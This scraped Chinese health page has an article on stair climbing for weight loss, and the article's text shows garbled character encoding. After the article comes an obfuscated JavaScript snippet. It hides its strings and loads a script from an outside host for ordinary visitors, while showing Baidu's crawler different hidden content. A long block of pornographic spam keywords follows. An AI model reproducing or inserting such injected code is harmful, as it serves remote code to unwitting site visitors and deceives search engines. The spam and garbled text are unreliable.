當(dāng)前位置:首頁 > 減肥 > 運(yùn)動減肥 > 正文

爬樓梯可以瘦身嗎

2017-04-21 23:35:51  來源:360常識網(wǎng)   熱度:
導(dǎo)語:其實(shí)瘦身問題從來都沒有冷卻過,因?yàn)椴还苁悄行赃€是女性,如果肥胖的話當(dāng)然應(yīng)該注意瘦身,這也是為了更好的保證自己的健康,但是在那么多的

其實(shí)瘦身問題從來都沒有冷卻過,因?yàn)椴还苁悄行赃€是女性,如果肥胖的話當(dāng)然應(yīng)該注意瘦身,這也是為了更好的保證自己的健康,但是在那么多的瘦身方法當(dāng)中,我們也應(yīng)該找到最合適自己的方法,這樣才可以達(dá)到最理想的瘦身效果,而下面要為大家介紹的是,到底爬樓梯是否可以起到瘦身的功效。

爬樓梯減肥法

由于工作的繁忙和生活節(jié)奏的加快,許多人因此而放棄了鍛煉。可是爬樓梯倒是項(xiàng)新的健美鍛煉形式。尤其是人過中年,由于活動相對減少,如能經(jīng)常上下樓梯則可增強(qiáng)冠狀動脈的血流量,有助于預(yù)防冠心病的發(fā)生。

說起來,爬樓梯時其身子勢必略須前俯,包括手的擺動。跨步,從而能夠增強(qiáng)下肢肌肉和韌帶的力量,保持下腳關(guān)節(jié)的靈活性,且能增強(qiáng)內(nèi)臟功能。每當(dāng)爬樓梯時其呼吸頻率和脈搏次數(shù)無疑會加快,這對增強(qiáng)人體的呼吸,加強(qiáng)心臟。血管系統(tǒng)的機(jī)能皆有極好促進(jìn)作用。

據(jù)運(yùn)動醫(yī)學(xué)家的測定,人每登高l米所消耗的熱量,相當(dāng)于散步走28米。其所消耗的能量是靜坐時的10倍,走路的5倍、跑步時的1.8倍。游泳時的2倍。打乒乓球的1.3倍。打網(wǎng)球時的1.4倍。如果沿著6層樓的樓梯上下跑2—3趟,則相當(dāng)于平地慢跑800—1500米的運(yùn)動量。

對女子來說要想使身材變得苗條起來,那么爬樓梯乃是一項(xiàng)簡便可行的減肥之舉。一位40千克體重的婦女,上10分鐘的樓梯所消耗的熱量為200熱卡。平時上樓梯所消耗的熱量要比通常散步多4倍,比晨跑鍛煉還多29%。一位體型較胖的婦女,要是住在三樓上,每天堅(jiān)持步行上、下樓5—6次的話,那么一年之內(nèi)其體重便可減輕3千克。看來,爬樓梯對防治肥胖亦有所助益。

詳細(xì)了解了上面所介紹的方法之后我們會發(fā)現(xiàn),爬樓梯如果能夠堅(jiān)持,而且方法正確是可以起到瘦身效果,尤其是對于平時忙碌工作的朋友而言,上下班的時候都可以花一些力氣爬樓梯,這樣在無形當(dāng)中,就可以幫助你燃燒身體的脂肪起到瘦身效果了。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲AV无码之国产精品| 亚洲日韩精品一区二区三区| 久久er这里只有精品| 精品一区二区三区电影| 伊人精品久久久久7777| 2021国产成人午夜精品| 91探花福利精品国产自产在线| 亚洲中文字幕久久精品无码A| 久久精品免看国产| 亚洲最大天堂无码精品区| 亚洲av永久无码精品秋霞电影影院| 国产女精品视频在ktv| 精品久久久久久中文字幕人妻最新| 国模吧一区二区三区精品视频| 日韩欧精品无码视频无删节| 国产Av一区二区精品久久| 日韩一区精品视频一区二区| 久久久久久久久久免免费精品| 日韩精品免费电影| 99精品热这里只有精品| 99久久久国产精品免费蜜臀| 亚洲精品卡2卡3卡4卡5卡区| 午夜成人精品福利网站在线观看| 日韩精品一卡2卡3卡4卡新区乱码| 精品无码久久久久久尤物| 国产精品无码一区二区三区电影| 四虎精品免费永久免费视频| 精品国产三级在线观看| 久久综合鬼色88久久精品综合自在自线噜噜| 国产成人精品手机在线观看| 最新国产精品精品视频| 国产精品亚洲产品一区二区三区| 国产一区二区三区精品久久呦| 国产精品无码AV不卡| 任我爽橹在线精品视频| 中文天堂最新版在线精品| 99re6这里只有精品| 无码国产精品一区二区免费模式 | 日本久久久精品中文字幕| 久草这里只有精品| 色精品一区二区三区|